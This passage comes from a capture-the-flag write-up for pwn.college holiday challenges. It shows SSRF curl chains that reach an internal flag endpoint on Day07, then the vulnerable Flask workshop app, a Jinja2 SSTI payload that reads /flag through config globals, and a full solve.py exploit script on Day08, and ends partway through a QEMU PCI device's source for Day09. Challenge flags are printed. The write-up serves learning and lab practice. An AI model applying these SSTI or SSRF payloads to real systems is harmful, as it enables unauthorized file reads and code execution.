  ↓ HTTP to 88.77.65.83
[Sinatra /flag] → reads /flag

Our final goal is to reach:

http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag

Using the /fetch SSRF on the middleware server, we can just ask it to fetch that URL for us:

1
2
3
curl -X POST 'http://localhost/check' \
  --data-urlencode "hacker_name=abc" \
  --data-urlencode "hacker_image=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag"

Results:

Desktop View

1
cHduLmNvbGxlZ2V7QVJYMl9JZmhXTldfVGZEQ2ZsNEx0b0s5eXZvLjBWTnhrVE15d2lOMVVETjBFeld9Cg=

Decode this base64 image, and we get the flag.

Flag: pwn.college{ARX2_IfhWNW_TfDCfl4LtoK9yvo.0VNxkTMywiN1UDN0EzW}

However, we’re in pwn.college environment so we can curl directly to middleware (72.79.72.79) without having to go through the first Flask SSRF.

1
curl "http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag"

Desktop View


Day08


Description

🔨⚙️🧵 Santa’s Workshop of Jingly Jinja Magic 🎁✨🛠️

Hidden between a tower of half-painted rocking horses and a drift of cinnamon-scented sawdust lies a cozy corner of Santa’s Workshop 🎄✨. A crooked little sign hangs above it, dusted with snowflakes and glitter: TINKER → BUILD → PLAY.

Here, elves shuffle about with scraps of blueprints—teddy bears waiting for their whispered secrets 🧸, wooden trains craving extra “choo” 🚂, and tin robots frozen mid-twirl 🤖✨. Each blueprint is just a fragment at first, patched with tiny gaps where holiday magic (and the occasional variable) gets poured in.

Once an elf has fussed over a design—nudging, scribbling, humming carols as they go—it’s fed into the clanky old assembler, a machine that wheezes peppermint steam and occasionally complains in compiler warnings ❄️💥. But when the gears settle and the lights blink green, out pops something wondrous:

A toy that runs.

Suddenly the workshop sparkles with noise—beeps, choos, secrets, giggles. Each creation takes its first breath of output, wide-eyed and ready to play 🎁💫.

It’s a tiny corner of the North Pole, but this is where Christmas cheer is written, compiled, and sent twinkling into the world.


Analysis

Click to view workshop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/local/bin/python
import hashlib
import os
import pwd
import secrets
import shutil
import subprocess
from pathlib import Path

from flask import Flask, jsonify, render_template_string, request

app = Flask(__name__)

TEMPLATES_DIR = Path("/challenge/templates")
WORKSHOP_DIR = Path("/run/workshop")
TINKERING_DIR = WORKSHOP_DIR / "tinkering"
ASSEMBLED_DIR = WORKSHOP_DIR / "assembled"

SECRET = secrets.token_hex(16)


def drop_privs():
    pw = pwd.getpwnam("nobody")
    if os.getuid() != 0:
        return
    os.setgroups([])
    os.setgid(pw.pw_gid)
    os.setuid(pw.pw_uid)


def toy_hash(toy_id: str) -> str:
    return hashlib.sha256(f"{SECRET}:{toy_id}".encode()).hexdigest()


@app.route("/create", methods=["POST"])
def create():
    payload = request.get_json(force=True, silent=True) or {}
    template = payload.get("template")
    if not template:
        return jsonify({"error": "missing template"}), 400
    bp = TEMPLATES_DIR / template
    if not bp.exists():
        templates = sorted([path.name for path in TEMPLATES_DIR.glob("*")])
        return jsonify({"error": "unknown template", "templates": templates}), 404

    toy_id = secrets.token_hex(8)
    src = TINKERING_DIR / toy_hash(toy_id)
    shutil.copyfile(bp, src)
    return jsonify({"toy_id": toy_id})


@app.route("/tinker/<toy_id>", methods=["POST"])
def tinker(toy_id: str):
    payload = request.get_json(force=True, silent=True) or {}
    op = payload.get("op")
    src = TINKERING_DIR / toy_hash(toy_id)
    if not src.exists():
        return jsonify({"status": "error", "error": "toy not found"}), 404

    text = src.read_text()

    if op == "replace":
        idx = int(payload.get("index", 0))
        length = int(payload.get("length", 0))
        content = payload.get("content", "")
        new_text = text[:idx] + content + text[idx + length :]
        src.write_text(new_text)
        return jsonify({"status": "tinkered"})

    if op == "render":
        ctx = payload.get("context", {})
        rendered = render_template_string(text, **ctx)
        src.write_text(rendered)
        return jsonify({"status": "tinkered"})

    return jsonify({"status": "error", "error": "bad op"}), 400


@app.route("/assemble/<toy_id>", methods=["POST"])
def assemble(toy_id: str):
    payload = request.get_json(force=True, silent=True) or {}
    src = TINKERING_DIR / toy_hash(toy_id)
    if not src.exists():
        return jsonify({"status": "error", "error": "toy not found"}), 404

    dest = ASSEMBLED_DIR / toy_hash(toy_id)
    cmd = ["gcc", "-x", "c", "-O2", "-pipe", "-o", str(dest), str(src)]
    proc = subprocess.run(cmd, capture_output=True, text=True, preexec_fn=drop_privs)
    if proc.returncode != 0:
        return jsonify({"status": "error", "error": "failed to build"}), 400
    return jsonify({"status": "assembled"})


@app.route("/play/<toy_id>", methods=["POST"])
def play(toy_id: str):
    bin_path = ASSEMBLED_DIR / toy_hash(toy_id)
    if not bin_path.exists():
        src = TINKERING_DIR / toy_hash(toy_id)
        if src.exists():
            return jsonify({"status": "error", "error": "toy not built"}), 400
        return jsonify({"status": "error", "error": "toy not found"}), 404
    payload = request.get_json(force=True, silent=True) or {}
    stdin_data = payload.get("stdin", "")
    proc = subprocess.run([str(bin_path)], input=stdin_data, capture_output=True, text=True, preexec_fn=drop_privs)
    return jsonify({"stdout": proc.stdout, "stderr": proc.stderr, "returncode": proc.returncode})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)
Click to view init-workshop.sh
1
2
3
4
5
6
7
8
#!/bin/sh
set -eu

mkdir -p /run/workshop/tinkering /run/workshop/assembled
chmod 0711 /run/workshop /run/workshop/tinkering
chmod 0733 /run/workshop/assembled

/challenge/workshop.py &
Click to view templates/robot.c.j2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Tin Robot */
#include <stdio.h>
#include <string.h>

int main(void) {
    char b[64];

    setbuf(stdout, NULL);
    puts("beep boop | battery: ");
    printf("input command (%s):\n", "");

    if (!fgets(b, sizeof(b), stdin)) return 0;

    if (strncmp(b, "dance", 5) == 0) {
        puts("robot spins!");
    } else if (strncmp(b, "beep", 4) == 0) {
        puts("BEEP BEEP!");
    } else {
        printf("unknown command: %s", b);
    }

    return 0;
}
Click to view templates/teddy.c.j2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Teddy Bear */
#include <stdio.h>
#include <string.h>

int main(void) {
    char note[80];

    setbuf(stdout, NULL);
    puts("soft hug!");

    printf("teddy keeps this secret: %s\n", "");
    printf("share a feeling (%s):\n", "");

    if (!fgets(note, sizeof(note), stdin)) return 0;

    size_t len = strlen(note);
    if (len > 0 && note[len - 1] == '\n') note[len - 1] = 0;

    printf("teddy repeats back: %s\n", note);
    printf("letters counted: %zu\n", strlen(note));
    return 0;
}
Click to view templates/train.c.j2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Wooden Train */
#include <stdio.h>
#include <string.h>

int main(void) {
    char stop[32];
    int tickets = 0;

    setbuf(stdout, NULL);
    puts("choo choo!");

    printf("cargo: %s\n", "");
    printf("line: %s\n", "");
    puts("next station:");

    if (!fgets(stop, sizeof(stop), stdin)) return 0;

    for (char *p = stop; *p; p++) {
        if (*p == 'a' || *p == 'e' || *p == 'i' || *p == 'o' || *p == 'u') tickets++;
    }

    printf("next stop: %s", stop);
    printf("tickets punched: %d\n", tickets);
    return 0;
}

This challenge exposes a small Flask-based toy workshop where users can:

  • /create – choose a C template and copy it under a hashed filename
  • /tinker/<toy_id> – modify or render the source
  • /assemble – compile the toy with gcc
  • /play/<toy_id> – run the the compiled binary

/run/workshop/tinkering – where source files live

/run/workshop/assembled – where binaries are placed

It is noticable that in /tinker, we have fully control over template content:

  • replace allows us to modify arbitrary slices of the source file.
  • render reads the current text from the file, run render_template_string(text, **ctx) and write the rendered result back to the file.

Here, render_template_string is called inside the Flask app before dropping privileges. The Flask app runs as root and the template content comes from the file we control. As a result, this is a Jinja2 SSTI (Server-Side Template Injection) vulnerability.

In /assemble, at preexec_fn=drop_privs:

1
2
3
4
5
6
7
def drop_privs():
    pw = pwd.getpwnam("nobody")
    if os.getuid() != 0:
        return
    os.setgroups([])
    os.setgid(pw.pw_gid)
    os.setuid(pw.pw_uid)

This means gcc runs as user nobody, not root => we cannot open /flag with C. The flag file must be open before privileges are dropped.


Exploitation

My plan is:

  • Create a toy to get a valid toy_id
  • Replace its source with a malicious Jinja-powered C template:
    • Use Jinja to read /flag as root.
    • Embed the result into a C string literal.
  • Render the template via op="render" to trigger Jinja.
  • Assemble the C file with gcc.
  • Play the binary and read the flag from its stdout.

After searching from internet, I finnaly craft a payload:

1
2
3
4
5
6
7
{% set flag = config.__class__.__init__.__globals__['__builtins__']['open']('/flag').read() %}
#include <stdio.h>

int main(void) {
    puts({{ flag|tojson }});
    return 0;
}

The {% ... %} line is a Jinja statement that opens and reads /flag into the flag variable. The {{ flag|tojson }} expression inserts that value into the output C code. The tojson filter ensures that if the flag contains special characters (quotes, newlines, backslashes, etc.), they are properly escaped so that the generated C string literal is valid.

Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost"

s = requests.Session()

# 1) create toy
r = s.post(f"{BASE_URL}/create", json={"template": "robot.c.j2"})
r.raise_for_status()
toy_id = r.json()["toy_id"]
print("[*] toy_id =", toy_id)

# 2) replace
malicious_tpl = r"""{% set flag = config.__class__.__init__.__globals__['__builtins__']['open']('/flag').read() %}
#include <stdio.h>

int main(void) {
    puts({{ flag|tojson }});
    return 0;
}
"""

r = s.post(
    f"{BASE_URL}/tinker/{toy_id}",
    json={
        "op": "replace",
        "index": 0,
        "length": 1000000,
        "content": malicious_tpl,
    },
)
print("[*] replace:", r.status_code, r.text)

# 3) render
r = s.post(
    f"{BASE_URL}/tinker/{toy_id}",
    json={
        "op": "render",
        "context": {},
    },
)
print("[*] render:", r.status_code, r.text)

# 4) assemble
r = s.post(f"{BASE_URL}/assemble/{toy_id}", json={})
print("[*] assemble:", r.status_code, r.text)
if r.status_code != 200:
    raise SystemExit("assemble failed")

# 5) run
r = s.post(f"{BASE_URL}/play/{toy_id}", json={"stdin": ""})
print("[*] play:", r.status_code)
data = r.json()
print("[*] returncode:", data["returncode"])
print("[*] stderr:\n", data["stderr"])
print("[*] stdout:\n", data["stdout"])

Flag: pwn.college{UWN1SyikjRpaDbMwpXdKmavc98e.0VN0EjMywiN1UDN0EzW}


Day09


Description

This year, Santa decided you’ve been especially good and left you a shiny new Python Processing Unit (pypu) — a mysterious PCIe accelerator built to finally quiet all the elves who won’t stop grumbling that “Python is slow” 🐍💨. This festive silicon snack happily devours .pyc bytecode at hardware speed… but Santa forgot to include any userspace tools, drivers, or documentation for how to actually use it. 🎁 All you’ve got is a bare MMIO interface, a device that will execute whatever .pyc you can wrangle together, and the hope that you can coax this strange gift into revealing an extra gift. Time to poke, prod, reverse-engineer, and see what surprises your new holiday hardware is hiding under the tree. 🎄✨


Analysis

Click to view run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/exec-suid -- /bin/bash -p

set -euo pipefail

PATH="/challenge/runtime/qemu/bin:$PATH"

qemu-system-x86_64 \
  -machine q35 \
  -cpu qemu64 \
  -m 512M \
  -nographic \
  -no-reboot \
  -kernel /challenge/runtime/bzImage \
  -initrd /challenge/runtime/rootfs.cpio.gz \
  -append "console=ttyS0 quiet panic=-1" \
  -device pypu-pci \
  -serial stdio \
  -monitor none
Click to view src/pypu-capture.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include "qemu/osdep.h"

#include <Python.h>
#include <stdio.h>
#include <string.h>

#include "pypu-capture.h"

static PyObject *capture_write(PyObject *self, PyObject *args)
{
    PypuCapture *cf = (PypuCapture *)self;
    const char *data = NULL;
    Py_ssize_t len = 0;
    if (!PyArg_ParseTuple(args, "s#", &data, &len)) {
        return NULL;
    }
    if (!cf->buf || cf->cap == 0) {
        Py_RETURN_NONE;
    }
    size_t copy_len = (size_t)len;
    if (copy_len > cf->cap - 1 - cf->pos) {
        copy_len = cf->cap - 1 - cf->pos;
    }
    if (copy_len > 0) {
        memcpy(cf->buf + cf->pos, data, copy_len);
        cf->pos += copy_len;
        cf->buf[cf->pos] = '\0';
    }
    return PyLong_FromSsize_t((Py_ssize_t)copy_len);
}

static PyObject *capture_flush(PyObject *self, PyObject *Py_UNUSED(ignored))
{
    Py_RETURN_NONE;
}

static PyObject *capture_seek(PyObject *self, PyObject *args)
{
    PypuCapture *cf = (PypuCapture *)self;
    Py_ssize_t offset = 0;
    int whence = SEEK_SET;
    if (!PyArg_ParseTuple(args, "n|i", &offset, &whence)) {
        return NULL;
    }

    Py_ssize_t newpos = 0;
    if (whence == SEEK_SET) {
        newpos = offset;
    } else if (whence == SEEK_CUR) {
        newpos = (Py_ssize_t)cf->pos + offset;
    } else if (whence == SEEK_END) {
        Py_ssize_t end = cf->buf ? (Py_ssize_t)strlen(cf->buf) : 0;
        newpos = end + offset;
    } else {
        PyErr_SetString(PyExc_ValueError, "invalid whence");
        return NULL;
    }

    Py_ssize_t max_pos = (Py_ssize_t)((cf->cap > 0) ? (cf->cap - 1) : 0);
    if (newpos < 0) {
        newpos = 0;
    } else if (newpos > max_pos) {
        newpos = max_pos;
    }
    cf->pos = (size_t)newpos;
    return PyLong_FromSize_t(cf->pos);
}

static PyMethodDef capture_methods[] = {
    {"write", capture_write, METH_VARARGS, "Append to buffer"},
    {"flush", capture_flush, METH_NOARGS, "No-op flush"},
    {"seek", capture_seek, METH_VARARGS, "Adjust write position"},
    {NULL, NULL, 0, NULL},
};

static PyTypeObject CaptureType = {
    PyVarObject_HEAD_INIT(NULL, 0)
    .tp_name = "pypu.Capture",
    .tp_basicsize = sizeof(PypuCapture),
    .tp_flags = Py_TPFLAGS_DEFAULT,
    .tp_methods = capture_methods,
};

PyObject *pypu_capture_new(char *buf, size_t cap)
{
    static int type_ready = 0;
    if (!type_ready) {
        if (PyType_Ready(&CaptureType) < 0) {
            return NULL;
        }
        type_ready = 1;
    }
    PypuCapture *cf = PyObject_New(PypuCapture, &CaptureType);
    if (!cf) {
        return NULL;
    }
    cf->buf = buf;
    cf->cap = cap;
    cf->pos = 0;
    if (cf->buf && cf->cap > 0) {
        cf->buf[0] = '\0';
    }
    return (PyObject *)cf;
}
Click to view src/pypu-capture.h
1
2
3
4
5
6
7
8
9
10
11
12
13
#pragma once

#include <Python.h>
#include <stddef.h>

typedef struct {
    PyObject_HEAD
    char *buf;
    size_t cap;
    size_t pos;
} PypuCapture;

PyObject *pypu_capture_new(char *buf, size_t cap);
Click to view src/pypu-pci.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
#include "qemu/osdep.h"

#include <Python.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/landlock.h>
#include <marshal.h>
#include <stdbool.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include "glib.h"
#include "hw/pci/pci.h"
#include "hw/pci/pci_device.h"
#include "hw/pci/pcie.h"
#include "hw/pci/pci_ids.h"
#include "hw/qdev-properties.h"
#include "qemu/cutils.h"
#include "qemu/module.h"
#include "qemu/thread.h"
#include "system/memory.h"

#include "pypu-capture.h"
#include "pypu-privileged.h"

#define TYPE_PYPU_PCI "pypu-pci"
#define PYPU_PCI(obj) OBJECT_CHECK(PypuPCIState, (obj), TYPE_PYPU_PCI)
#define CODE_BUF_SIZE 2048

typedef struct PypuPCIState {
    PCIDevice parent_obj;

    MemoryRegion mmio;
    MemoryRegion stdout_mmio;
    MemoryRegion stderr_mmio;

    uint8_t code[CODE_BUF_SIZE];
    char stdout_capture[0x1000];
    char stderr_capture[0x1000];
    char flag[128];

    uint32_t scratch;
    uint32_t greet_count;
    uint32_t code_len;
    uint32_t work_gen;
    uint32_t done_gen;
    bool py_thread_alive;

    QemuThread py_thread;
    QemuMutex py_mutex;
    QemuCond py_cond;

    PyObject *globals_dict;
    PyObject *gifts_module;
} PypuPCIState;

static uint32_t load_le32(const uint8_t *p)
{
    return (uint32_t)p[0] | ((uint32_t)p[1] << 8) |
           ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}

static uint64_t load_le64(const uint8_t *p)
{
    return (uint64_t)load_le32(p) | ((uint64_t)load_le32(p + 4) << 32);
}

static void debug_log(const char *fmt, ...)
{
    static int initialized;
    static int enabled;

    if (!initialized) {
        const char *env = getenv("PYPU_DEBUG");
        enabled = env && env[0];
        initialized = 1;
    }
    if (!enabled) {
        return;
    }

    va_list ap;
    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
}

static PyObject *pypu_get_globals(PypuPCIState *state, bool privileged)
{
    if (!state) {
        return NULL;
    }

    if (!state->globals_dict) {
        PyObject *main_module = PyImport_AddModule("__main__");
        if (!main_module) {
            PyErr_Print();
            return NULL;
        }
        PyObject *globals_dict = PyModule_GetDict(main_module);
        if (!globals_dict) {
            PyErr_Print();
            return NULL;
        }

        if (PyDict_SetItemString(globals_dict, "__builtins__", PyEval_GetBuiltins()) < 0) {
            PyErr_Print();
            return NULL;
        }

        PyObject *sys_module = PyImport_ImportModule("sys");
        if (!sys_module) {
            PyErr_Print();
            return NULL;
        }

        PyObject *stdout = pypu_capture_new(state->stdout_capture, sizeof(state->stdout_capture));
        if (!stdout || PyObject_SetAttrString(sys_module, "stdout", stdout) < 0) {
            PyErr_Print();
            Py_XDECREF(stdout);
            Py_DECREF(sys_module);
            return NULL;
        }
        Py_DECREF(stdout);

        PyObject *stderr = pypu_capture_new(state->stderr_capture, sizeof(state->stderr_capture));
        if (!stderr || PyObject_SetAttrString(sys_module, "stderr", stderr) < 0) {
            PyErr_Print();
            Py_XDECREF(stderr);
            Py_DECREF(sys_module);
            return NULL;
        }
        Py_DECREF(stderr);

        Py_DECREF(sys_module);
        Py_INCREF(globals_dict);
        state->globals_dict = globals_dict;
    }

    if (!state->gifts_module) {
        PyObject *gifts_module = PyModule_New("gifts");
        if (!gifts_module) {
            PyErr_Print();
            return NULL;
        }
        PyObject *flag_val = PyUnicode_FromString(state->flag);
        if (!flag_val) {
            PyErr_Print();
            Py_DECREF(gifts_module);
            return NULL;
        }
        if (PyModule_AddObject(gifts_module, "flag", flag_val) < 0) {
            PyErr_Print();
            Py_DECREF(flag_val);
            Py_DECREF(gifts_module);
            return NULL;
        }
        state->gifts_module = gifts_module;
    }

    PyObject *sys_module = PyImport_ImportModule("sys");
    if (!sys_module) {
        PyErr_Print();
        return NULL;
    }

    PyObject *modules = PyObject_GetAttrString(sys_module, "modules");
    if (!modules || !PyDict_Check(modules)) {
        PyErr_Print();
        Py_XDECREF(modules);
        Py_DECREF(sys_module);
        return NULL;
    }

    if (privileged) {
        if (PyDict_SetItemString(modules, "gifts", state->gifts_module) < 0) {
            PyErr_Print();
            Py_DECREF(modules);
            Py_DECREF(sys_module);
            return NULL;
        }
    } else {
        if (PyDict_DelItemString(state->globals_dict, "gifts") < 0) {
            PyErr_Clear();
        }
        if (PyDict_DelItemString(modules, "gifts") < 0) {
            PyErr_Clear();
        }
    }

    Py_DECREF(modules);
    Py_DECREF(sys_module);

    return state->globals_dict;
}

static void execute_python_code(PypuPCIState *state, const uint8_t *pyc, uint32_t pyc_len)
{
    debug_log("[pypu] executing python code from MMIO (%u bytes)\n", pyc_len);
    for (uint32_t i = 0; i < pyc_len && i < 32; i++) {
        debug_log("%s%02x", (i == 0 ? "[pypu] code bytes: " : " "), pyc[i]);
    }
    debug_log("%s\n", pyc_len > 0 ? "" : "[pypu] code bytes: <none>");

    if (pyc_len < 16) {
        debug_log("[pypu] abort: missing header (%u bytes)\n", pyc_len);
        return;
    }

    PyGILState_STATE gil = PyGILState_Ensure();

    uint32_t header_magic = load_le32(pyc);
    uint32_t pyc_flags = load_le32(pyc + 4);
    uint64_t pyc_hash = load_le64(pyc + 8);
    unsigned long expected_magic = (unsigned long)PyImport_GetMagicNumber();
    debug_log("[pypu] pyc header: magic=0x%08x expected=0x%08lx flags=0x%08x hash=0x%016" PRIx64 "\n",
              header_magic, expected_magic, pyc_flags, pyc_hash);

    if (header_magic != (uint32_t)expected_magic) {
        debug_log("[pypu] abort: bad pyc magic\n");
        PyGILState_Release(gil);
        return;
    }

    bool privileged = pyc_hash == PYPU_PRIVILEGED_HASH;
    if (privileged) {
        debug_log("[pypu] pyc hash matches privileged blob (0x%016" PRIx64 ")\n",
                  PYPU_PRIVILEGED_HASH);
    }

    const uint8_t *code = pyc + 16;
    Py_ssize_t code_len = (Py_ssize_t)pyc_len - 16;
    PyObject *code_obj = PyMarshal_ReadObjectFromString((const char *)code, code_len);
    if (!code_obj) {
        PyErr_Print();
        PyGILState_Release(gil);
        return;
    }
    if (!PyCode_Check(code_obj)) {
        debug_log("[pypu] marshal output not a code object\n");
        Py_DECREF(code_obj);
        PyGILState_Release(gil);
        return;
    }

    PyObject *globals = pypu_get_globals(state, privileged);
    if (!globals) {
        PyErr_Print();
        Py_DECREF(code_obj);
        PyGILState_Release(gil);
        return;
    }

    PyObject *result = PyEval_EvalCode((PyObject *)code_obj, globals, globals);
    if (!result) {
        debug_log("[pypu] python execution failed\n");
        PyErr_Print();
        Py_DECREF(code_obj);
        PyGILState_Release(gil);
        return;
    }
    debug_log("[pypu] python execution succeeded\n");
    Py_DECREF(result);
    Py_DECREF(code_obj);
    PyGILState_Release(gil);
}

static int enable_landlock(void)
{
    uint64_t handled =
        LANDLOCK_ACCESS_FS_EXECUTE |
        LANDLOCK_ACCESS_FS_WRITE_FILE |
        LANDLOCK_ACCESS_FS_READ_FILE |
        LANDLOCK_ACCESS_FS_READ_DIR |
        LANDLOCK_ACCESS_FS_REMOVE_DIR |
        LANDLOCK_ACCESS_FS_REMOVE_FILE |
        LANDLOCK_ACCESS_FS_MAKE_CHAR |
        LANDLOCK_ACCESS_FS_MAKE_DIR |
        LANDLOCK_ACCESS_FS_MAKE_REG |
        LANDLOCK_ACCESS_FS_MAKE_SOCK |
        LANDLOCK_ACCESS_FS_MAKE_FIFO |
        LANDLOCK_ACCESS_FS_MAKE_BLOCK |
        LANDLOCK_ACCESS_FS_MAKE_SYM |
        LANDLOCK_ACCESS_FS_REFER |
        LANDLOCK_ACCESS_FS_TRUNCATE |
        LANDLOCK_ACCESS_FS_IOCTL_DEV;

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
        debug_log("[pypu] PR_SET_NO_NEW_PRIVS failed: %s\n", strerror(errno));
        return -1;
    }

    struct landlock_ruleset_attr attr = {
        .handled_access_fs = handled,
    };

    int ruleset_fd = syscall(__NR_landlock_create_ruleset, &attr, sizeof(attr), 0);
    if (ruleset_fd < 0) {
        debug_log("[pypu] landlock_create_ruleset failed: %s\n", strerror(errno));
        return -1;
    }

    int lib_fd = open("/usr/lib/python3.13", O_PATH | O_DIRECTORY);
    if (lib_fd < 0) {
        debug_log("[pypu] open python stdlib failed: %s\n", strerror(errno));
        close(ruleset_fd);
        return -1;
    }

    struct landlock_path_beneath_attr lib_rule = {
        .allowed_access =
            LANDLOCK_ACCESS_FS_READ_FILE |
            LANDLOCK_ACCESS_FS_READ_DIR |
            LANDLOCK_ACCESS_FS_EXECUTE,
        .parent_fd = lib_fd,
    };

    if (syscall(__NR_landlock_add_rule, ruleset_fd, LANDLOCK_RULE_PATH_BENEATH,
                &lib_rule, 0) < 0) {
        debug_log("[pypu] landlock_add_rule for stdlib failed: %s\n", strerror(errno));
        close(lib_fd);
        close(ruleset_fd);
        return -1;
    }
    close(lib_fd);

    if (syscall(__NR_landlock_restrict_self, ruleset_fd, 0) < 0) {
        debug_log("[pypu] landlock_restrict_self failed: %s\n", strerror(errno));
        close(ruleset_fd);
        return -1;
    }

    close(ruleset_fd);
    return 0;
}

static void *python_worker(void *opaque)
{
    PypuPCIState *state = opaque;

    Py_Initialize();
    if (enable_landlock() < 0) {
        qemu_mutex_lock(&state->py_mutex);
        state->py_thread_alive = false;
        state->done_gen = state->work_gen;
        qemu_cond_signal(&state->py_cond);
        qemu_mutex_unlock(&state->py_mutex);
        return NULL;
    }

    qemu_mutex_lock(&state->py_mutex);
    while (state->py_thread_alive) {
        while (state->py_thread_alive && state->done_gen == state->work_gen) {
            qemu_cond_wait(&state->py_cond, &state->py_mutex);
        }
        if (!state->py_thread_alive) {
            break;
        }
        uint32_t pyc_len = state->code_len;
        uint8_t pyc[CODE_BUF_SIZE];
        memcpy(pyc, state->code, pyc_len);
        uint32_t task_gen = state->work_gen;
        qemu_mutex_unlock(&state->py_mutex);

        execute_python_code(state, pyc, pyc_len);

        qemu_mutex_lock(&state->py_mutex);
        state->done_gen = task_gen;
        qemu_cond_signal(&state->py_cond);
    }
    qemu_mutex_unlock(&state->py_mutex);
    return NULL;
}

static uint64_t pypu_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
    PypuPCIState *state = opaque;

    if (addr == 0x00 && size == 4) {
        return 0x50595055ull; /* "PYPU" */
    }
    if (addr == 0x04 && size == 4) {
        return state->scratch;
    }
    if (addr == 0x08 && size == 4) {
        return state->greet_count;
    }
    if (addr == 0x10 && size == 4) {
        return state->code_len;
    }
    if (addr >= 0x100 && addr - 0x100 < CODE_BUF_SIZE) {
        return state->code[addr - 0x100];
    }

    return 0;
}

static uint64_t pypu_stdout_read(void *opaque, hwaddr addr, unsigned size)
{
    PypuPCIState *state = opaque;
    if (size != 1) {
        return 0;
    }
    if (addr < sizeof(state->stdout_capture)) {
        return (uint8_t)state->stdout_capture[addr];
    }
    return 0;
}

static uint64_t pypu_stderr_read(void *opaque, hwaddr addr, unsigned size)
{
    PypuPCIState *state = opaque;
    if (size != 1) {
        return 0;
    }
    if (addr < sizeof(state->stderr_capture)) {
        return (uint8_t)state->stderr_capture[addr];
    }
    return 0;
}

static void pypu_mmio_write(void *opaque, hwaddr addr, uint64_t val,
                             unsigned size)
{
    PypuPCIState *state = opaque;

    if (addr == 0x04 && size == 4) {
        state->scratch = val;
    } else if (addr == 0x0c && size == 4) {
        state->greet_count++;
        qemu_mutex_lock(&state->py_mutex);
        state->work_gen++;
        qemu_cond_signal(&state->py_cond);
        while (state->done_gen != state->work_gen && state->py_thread_alive) {
            qemu_cond_wait(&state->py_cond, &state->py_mutex);
        }
        qemu_mutex_unlock(&state->py_mutex);
    } else if (addr == 0x10 && size == 4) {
        if (val > CODE_BUF_SIZE) {
            val = CODE_BUF_SIZE;
        }
        state->code_len = val;
    } else if (addr >= 0x100 && addr < 0x100 + CODE_BUF_SIZE && size == 1) {
